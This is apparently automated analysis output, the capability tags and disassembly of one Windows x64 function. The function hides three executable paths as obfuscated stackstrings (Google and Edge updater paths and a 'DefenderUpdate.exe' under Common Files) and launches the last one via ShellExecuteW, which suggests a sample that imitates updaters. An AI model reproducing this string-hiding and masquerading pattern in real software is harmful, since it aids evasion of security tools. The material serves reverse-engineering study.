Function at 0x140006350
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x200
mov rax, qword [0x140274940]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x70], 0x3a0043
mov dword [rsp + 0x74], 0x50005c
mov dword [rsp + 0x78], 0x6f0072
mov dword [rsp + 0x7c], 0x720067
mov dword [rsp + 0x80], 0x6d0061
mov dword [rsp + 0x84], 0x460020
mov dword [rsp + 0x88], 0x6c0069
mov dword [rsp + 0x8c], 0x730065
mov dword [rsp + 0x90], 0x280020
mov dword [rsp + 0x94], 0x380078
mov dword [rsp + 0x98], 0x290036
mov dword [rsp + 0x9c], 0x47005c
mov dword [rsp + 0xa0], 0x6f006f
mov dword [rsp + 0xa4], 0x6c0067
mov dword [rsp + 0xa8], 0x5c0065
mov dword [rsp + 0xac], 0x700055
mov dword [rsp + 0xb0], 0x610064
mov dword [rsp + 0xb4], 0x650074
mov dword [rsp + 0xb8], 0x47005c
mov dword [rsp + 0xbc], 0x6f006f
mov dword [rsp + 0xc0], 0x6c0067
mov dword [rsp + 0xc4], 0x550065
mov dword [rsp + 0xc8], 0x640070
mov dword [rsp + 0xcc], 0x740061
mov dword [rsp + 0xd0], 0x2e0065
mov dword [rsp + 0xd4], 0x780065
mov dword [rsp + 0xd8], 0x65
xor esi, esi
mov dword [rsp + 0xe0], 0x3a0043
mov dword [rsp + 0xe4], 0x50005c
mov dword [rsp + 0xe8], 0x6f0072
mov dword [rsp + 0xec], 0x720067
mov dword [rsp + 0xf0], 0x6d0061
mov dword [rsp + 0xf4], 0x460020
mov dword [rsp + 0xf8], 0x6c0069
mov dword [rsp + 0xfc], 0x730065
mov dword [rsp + 0x100], 0x280020
mov dword [rsp + 0x104], 0x380078
mov dword [rsp + 0x108], 0x290036
mov dword [rsp + 0x10c], 0x4d005c
mov dword [rsp + 0x110], 0x630069
mov dword [rsp + 0x114], 0x6f0072
mov dword [rsp + 0x118], 0x6f0073
mov dword [rsp + 0x11c], 0x740066
mov dword [rsp + 0x120], 0x45005c
mov dword [rsp + 0x124], 0x670064
mov dword [rsp + 0x128], 0x550065
mov dword [rsp + 0x12c], 0x640070
mov dword [rsp + 0x130], 0x740061
mov dword [rsp + 0x134], 0x5c0065
mov dword [rsp + 0x138], 0x69004d
mov dword [rsp + 0x13c], 0x720063
mov dword [rsp + 0x140], 0x73006f
mov dword [rsp + 0x144], 0x66006f
mov dword [rsp + 0x148], 0x450074
mov dword [rsp + 0x14c], 0x670064
mov dword [rsp + 0x150], 0x550065
mov dword [rsp + 0x154], 0x640070
mov dword [rsp + 0x158], 0x740061
mov dword [rsp + 0x15c], 0x2e0065
mov dword [rsp + 0x160], 0x780065
mov dword [rsp + 0x164], 0x65
mov dword [rsp + 0x170], 0x3a0043
mov dword [rsp + 0x174], 0x50005c
mov dword [rsp + 0x178], 0x6f0072
mov dword [rsp + 0x17c], 0x720067
mov dword [rsp + 0x180], 0x6d0061
mov dword [rsp + 0x184], 0x460020
mov dword [rsp + 0x188], 0x6c0069
mov dword [rsp + 0x18c], 0x730065
mov dword [rsp + 0x190], 0x280020
mov dword [rsp + 0x194], 0x380078
mov dword [r11 - 0x80], 0x290036
mov dword [r11 - 0x7c], 0x43005c
mov dword [r11 - 0x78], 0x6d006f
mov dword [r11 - 0x74], 0x6f006d
mov dword [r11 - 0x70], 0x20006e
mov dword [r11 - 0x6c], 0x690046
mov dword [r11 - 0x68], 0x65006c
mov dword [r11 - 0x64], 0x5c0073
mov dword [r11 - 0x60], 0x790053
mov dword [r11 - 0x5c], 0x740073
mov dword [r11 - 0x58], 0x6d0065
mov dword [r11 - 0x54], 0x44005c
mov dword [r11 - 0x50], 0x660065
mov dword [r11 - 0x4c], 0x6e0065
mov dword [r11 - 0x48], 0x650064
mov dword [r11 - 0x44], 0x550072
mov dword [r11 - 0x40], 0x640070
mov dword [r11 - 0x3c], 0x740061
mov dword [r11 - 0x38], 0x2e0065
mov dword [r11 - 0x34], 0x780065
mov dword [r11 - 0x30], 0x65
call fcn.14000c3d4
mov rcx, rax
test rax, rax
je 0x140006a41
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x70]
cmp rax, 0x10000
lea rax, [rsp + 0x70]
jae 0x140006775
movzx edx, ax
lea rcx, [rsp + 0x60]
call fcn.140002850
mov rdi, 0xffffffffffffffff
jmp 0x14000679b
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140006780
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140002be0
nop
call fcn.14000c3d4
mov rcx, rax
test rax, rax
je 0x140006a4c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0xe0]
cmp rax, 0x10000
lea rax, [rsp + 0xe0]
jae 0x1400067e2
movzx edx, ax
lea rcx, [rsp + 0x58]
call fcn.140002850
jmp 0x140006803
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x1400067e5
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.140002be0
nop
call fcn.140005f80
nop
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14003485c
xor edx, edx
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.14003485c
nop
jmp 0x140006832
call fcn.140006a80
lea rax, [rsp + 0x38]
mov qword [rsp + 0x30], rax
call fcn.14000c3d4
mov rcx, rax
test rax, rax
je 0x140006a57
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
cmp rax, 0x10000
lea rax, [rsp + 0x70]
jae 0x140006882
movzx edx, ax
lea rcx, [rsp + 0x38]
call fcn.140002850
jmp 0x1400068a0
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x140006885
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.140002be0
nop
lea rdx, [rsp + 0x38]
call fcn.1400061c0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
call fcn.14000c3d4
mov rcx, rax
test rax, rax
je 0x140006a62
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xe0]
cmp rax, 0x10000
lea rax, [rsp + 0xe0]
jae 0x1400068fb
movzx edx, ax
lea rcx, [rsp + 0x40]
call fcn.140002850
jmp 0x14000691e
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140006900
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.140002be0
nop
lea rdx, [rsp + 0x40]
call fcn.1400061c0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
call fcn.14000c3d4
mov rcx, rax
test rax, rax
je 0x140006a6d
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x170]
cmp rax, 0x10000
lea rax, [rsp + 0x170]
jae 0x140006979
movzx edx, ax
lea rcx, [rsp + 0x30]
call fcn.140002850
jmp 0x14000699e
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140006980
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x30]
call fcn.140002be0
nop
lea rdx, [rsp + 0x30]
call fcn.1400061c0
call fcn.140004ff0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
lea r9, [0x14023cdc4]
lea r8, [rsp + 0x170]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400069f3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x140006a0f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.1401a6530
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov ecx, 0x80004005
call fcn.140002bc0
nop
mov ecx, 0x80004005
call fcn.140002bc0
nop
mov ecx, 0x80004005
call fcn.140002bc0
int3
mov ecx, 0x80004005
call fcn.140002bc0
int3
mov ecx, 0x80004005
call fcn.140002bc0
int3